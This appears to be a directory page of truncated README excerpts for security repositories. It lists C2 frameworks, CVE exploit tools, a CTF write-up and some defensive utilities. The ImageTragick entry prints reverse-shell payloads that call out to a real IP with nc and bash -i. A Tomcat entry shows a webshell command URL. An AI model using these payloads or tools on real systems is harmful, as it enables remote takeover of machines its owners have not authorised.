isip

isip Interactive sip toolkit for packet manipulations, sniffing, man in the middle attacks, fuzzing, simulating of dos attacks. Video https://asciinema.org/a/11128 Setup git clone https://github.com/halitalptekin/isip.git cd isip pip install -r requirements.txt Usage Packet manipulation tools are...

kubesploit

!Licenselicense-imglicense !Downloadsdownload Kubesploit Kubesploit es un servidor y agente de Comando y Control C&C HTTP/2 multiplataforma para post-explotación, diseñado específicamente para entornos contenerizados, escrito en Golang y construido sobre el proyecto Merlin de Russel Van Tuyl...

kubesploit

Kubesploit Kubesploit is a cross-platform post-exploitation HTTP/2 Command & Control server and agent dedicated for containerized environments written in Golang and built on top of Merlin project by Russel Van Tuyl @Ne0nd0g. Our Motivation While researching Docker and Kubernetes, we noticed that...

ImageTragick_Poc

ImageTragick POCs RCEPOC push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|bash -i &...

CVE-2025-24813-apache-tomcat

CVE-2025-24813 Nuclei Template CVE-2025–24813 nuclei -l list.txt -t CVE-2025–24813.yaml execute shell http://target.com/updates.jsp?cmd=whoami...

Rejetto-HTTP-File-Server-HFS-2.3.x---Remote-Command-Execution

Rejetto HTTP File Server HFS 2.3.x - Remote Command Execution CVE-2014-6287 Rewrite of Pergyz 49584.py to return an x64 PowerShell Reverse Shell Usage $ python3 hfs-2-3-exploit.py Supply variables when prompted, auto starts Netcat for you...

octohook

octohook Git Web Hook Tunnel for C2 Install apt-get update && apt-get upgrade -y apt-get install python3-pip git -y pip install --upgrade pip pip install virtualenv virtualenv -p python venv . venv/bin/activate git clone https://github.com/dsnezhkov/octohook pip install prompttoolkit PyGithub...

CVE-2024-31317-PoC-Deployer

CVE-2024-31317-PoC-Deployer A deployment tool for CVE-2024-31317 proof-of-concept exploit targeting Android 9 through 13 devices. 📝 Project Description CVE-2024-31317-PoC-Deployer is an automated deployment script for quickly generating and configuring all the files required for exploiting...

ZeroPulse

ZeroPulse Una Plataforma Moderna de Comando y Control C2 con Integración de Cloudflare Tunnel CodeFactor 📋 Tabla de Contenidos Descripción General Características Arquitectura Requisitos Previos Instalación Configuración Uso Documentación de la API Seguridad Estructura del Proyecto Desarrollo...

cyph

Cyph Cyph is a cryptographically secure messaging and social networking service, providing an extreme level of privacy combined with best-in-class ease of use. Cyph’s patented technology — built by former SpaceX engineers, audited by Cure53, and the basis of research presentations at Black Hat an...

CVE-2021-31760

..| CVE-2021-31760 |.. Descripción : Explotando un ataque de Cross-site request forgery CSRF para obtener una ejecución remota de comandos RCE a través de la función de procesos en ejecución de Webmin Versión probada : Webmin 1.973 versión más reciente de GitHub 07/03/2021 Tipo de ataque: Remoto...

Explosive-As-Hell-MCS-Qualifer-Web-500

CVE-2025-55182 — Componentes del Servidor React RCE | Writeup de CTF Categoría: Explotación Web | Dificultad: Media | Vulnerabilidad: Ejecución Remota de Código → Escalada de Privilegios SUID TL;DR El endpoint de Componentes del Servidor React vulnerable a CVE-2025-55182 RCE → enumeró binarios SU...

CVE-2023-48842

CVE-2023-48842 Source : Se descubrió que D-Link Go-RT-AC750 revAv101b03 contiene una vulnerabilidad de inyección de comandos a través del parámetro service en hedwig.cgi. https://drive.google.com/file/d/1y5omf2SAhNmcPqDxCSRTvJVAWwPcH/view Pequeña mejora : Actualicé el script que ahora está...

cve-2022-33891-fix

EP3 - MAC0352 Redes deComputadores e Sistemas Distribuidos 2023 Tópico: CVE-2022-33891 Execução de comandos shell arbitrários em aplicação spark que utiliza autenticação via ACL Alunos Elinilson Vital Leoarndo Bozzetto CVE-2022-33891 Patch Instructions for Ubuntu 22.04 Prerequisites Ubuntu 22.04...

CVE-2024-32002-git-rce-father-poc

Este repositorio no tiene un README...

snmpwn

SNMPwn is an SNMPv3 user enumerator and attack tool. It is a legitimate security tool designed to be used by security professionals and penetration testers against hosts you have permission to test. It takes advantage of the fact that SNMPv3 systems will respond with "Unknown user name" when an...

CVE-2018-6574

CVE-2018-6574 Go anterior a 1.8.7, Go 1.9.x anterior a 1.9.4 y Go 1.10 pre-lanzamientos anteriores a Go 1.10rc2 permiten la ejecución remota de comandos mediante go get durante la compilación del código fuente, aprovechando la característica de plugins de gcc o clang, porque los argumentos...

mininode

Mininode Mininode is a CLI tool to reduce the attack surface of the Node.js applications by using static analysis of source code. It supports two modes of reduction 1 coarse, 2 fine. Mininode constructs the dependency graph modules and functions used of the application starting from main file, i....

unblob

unblob Accurate, fast, and easy-to-use extraction suite for binary blobs. unblob parses unknown binary blobs for 78+ archive, compression, and file-system formats , extracts their content recursively, and carves out unknown chunks. It is the perfect companion for extracting, analyzing, and revers...

Bifrost

Bifrost Comando y Control ¿Qué es Bifrost? Bifrost es un BOT de Discord de código abierto que funciona como Command and Control C2. Este C2 utiliza la API de Discord para la comunicación entre clientes y servidor. Desarrollado con Python, este C2 tiene múltiples funciones para post-explotación...